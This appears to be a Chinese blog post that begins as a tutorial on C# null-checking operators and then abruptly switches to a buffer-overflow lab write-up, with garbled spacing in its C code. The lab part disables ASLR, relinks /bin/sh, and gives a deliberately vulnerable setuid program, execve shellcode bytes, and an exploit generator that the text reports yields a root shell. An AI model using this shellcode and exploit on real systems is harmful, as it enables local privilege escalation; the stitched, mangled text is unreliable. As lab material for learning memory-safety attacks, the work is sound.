C#中检查null的语法糖,非常实用

一、c#处理null的几个语法糖,非常实用。

??

如果左边是的null,那么返回右边的操作数,否则就返回左边的操作数,这个在给变量赋予默认值非常好用。

int? a = null;
int b = a ?? -1;
Console.WriteLine(b);  // output: -1

??=

当左边是null,那么就对左边的变量赋值成右边的

int? a = null;
a ??= -1;
Console.WriteLine(a);  // output: -1

?.

当左边是null,那么不执行后面的操作,直接返回空,否则就返回实际操作的值。

?[]

索引器操作,和上面的操作类似

using System;
public class C {
    public static void Main() {
        string[] i = null;
        string result = i?[1];
        Console.WriteLine(result ?? "null"); // output:null
    }
}

注意,如果链式使用的过程中,只要前面运算中有一个是null,那么将直接返回null结果,不会继续计算。下面两个操作会有不同的结果。

using System;
public class C {
    public static void Main() {
        string[] i = null;
        Console.WriteLine(i?[1]?.Substring(0).Length); //不弹错误
        Console.WriteLine((i?[1]?.Substring(0)).Length) // System.NullReferenceException: Object reference not set to an instance of an object.
    }
}

二、一些操作

//参数给予默认值
if(x == null) x = "str";
//替换
x ??= "str";


//条件判断
string x;
if(i<3) 
    x = y;
else 
{  
    if(z != null) x = z; 
    else z = "notnull";
}
//替换
var x = i < 3 ? y : z ?? "notnull"


//防止对象为null的时候,依然执行代码
if(obj != null) 
    obj.Act();
//替换
obj?.Act();

//Dictionary取值与赋值
string result;
if(dict.ContainKey(key))
{
    if(dict[key] == null) result = "有结果为null";
    else result = dict[key];
}
else 
    result = "无结果为null";
//替换
var result= dict.TryGetValue(key, out var value) ? value ?? "有结果为null" : "无结果为null";

三、溢出

首先为了方便观察汇编语句,需要在32位环境下进行操作,首先在Kali中安装相关编译应用:

输入命令linux32进入32位linux环境,输入/bin/bash使用bash,使用exit退出linux32位环境

ubuntu和其他一些linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键,所以在本次实验中,我们使用以下命令来关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击以及其他利用shell程序的攻击,许多shell程序在被调用的时候自动放弃它们的特权,因此,即使能欺骗一个set-UID程序调用一个Shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。

linux系统中,/bin/sh实际是指向/bin/bash或者/bin/dash的一个符号连接,为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序zsh来代替/bin/bash:

(需要root权限)

cd /binrm shln -s zsh sh exit

一般情况下,缓冲区溢出会早成程序崩溃,在程序中,溢出的覆盖了返回地址,而如果覆盖返回的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于其他功能,这段代码就是shellcode。

我们设计如下的shellcode:

#include<stdio.h>intmain(){	char *name[2];	name[0] = “/bin/sh”;	name[1] = NULL;	execve(name[0], name, NULL);}

此shellcode的汇编指令如下:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

假设存在缓冲区溢出的程序为stack,将以下代码保存为“stack.c”文件,保存到/tmp目录下:

/* stack.c *//* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */#include<stdlib.h>#include<stdio.h>#include<string.h>intbof(char *str) {char buffer[12];/* The following statement has a buffer overflow problem */strcpy(buffer, str);return1;}intmain(int argc, char **argv) {char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return1;}

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”

编译该程序,并设置SET-UID,命令如下:

sudo sugcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack

gcc编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码的时候需要使用-fno-stack-protector来关闭这种机制。而-z execstack用于允许执行栈。

由于我们的目标是攻击刚才的漏洞程序,并通过攻击获得root权限,所以构造如下payload:

将以下代码保存为”exploit.c”文件,保存在/tmp下:

/* exploit.c *//* A program that creates a file containing code for launching shell*/#include<stdlib.h>#include<stdio.h>#include<string.h>char shellcode[]="\x31\xc0"//xorl %eax,%eax"\x50"//pushl %eax"\x68""//sh"//pushl $0x68732f2f"\x68""/bin"//pushl $0x6e69622f"\x89\xe3"//movl %esp,%ebx"\x50"//pushl %eax"\x53"//pushl %ebx"\x89\xe1"//movl %esp,%ecx"\x99"//cdq"\xb0\x0b"//movb $0x0b,%al"\xcd\x80"//int $0x80;voidmain(int argc, char **argv) {char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");strcpy(buffer+100,shellcode);/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);}

在上面的代码中,“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在 buffer+100 的位置。

现在我们要得到shellcode在内存中的地址,输入命令:

gdb stackdisass main

四、结果如图

接下来的操作:

先用breakpoint语句b main 设置main函数地址的断点,使main函数的数据地址存在寄存器中,然后用 i r $esp 读取寄存器。

得到buffer为0xffe07dc0,

根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffe07dc0(十六进制)+100(十进制)=0xffe07e24(十六进制)

现在修改exploit.c文件!将 \x??\x??\x??\x?? 修改为 \x24\x7e\xe0\xff

接下来先退出再编译 exploit.c

gcc -m32 -o exploit exploit.c

现在开始进行攻击:

先运行程序expolit,再运行漏洞程序stack,观察结果:、

可见,通过攻击,获得了root权限!

练习二:

通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制,重复用exploit程序攻击stack程序,观察能否攻击成功,能否获得root权限。

攻击失败,没有root权限。我想因为是由于地址空间随机化被开启,导致之前计算的地址与实际的地址出现了不同,从而不能完成攻击。

练习三:

将/bin/sh重新指向/bin/bash(或/bin/dash),观察能否攻击成功,能否获得root权限。

攻击失败,没有获得root权限。使用的bash程序,当shell运行时,没有root权限,此时,即便攻击程序攻击了漏洞程序,也无法获得root权限。

在实验阶段中,地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难。因此需要关闭地址的随机化,固定地址,从而使得地址的猜测变得更加简单。攻击程序写一个badfile文件,将其中的一部分字节替换为之前计算好的字节,当漏洞程序读取badfile文件时,由于没有限制输入的长度,导致返回值被之前替换的字节覆盖,当程序返回时,跳转到了预先指定的地址,获得了root权限,完成了攻击

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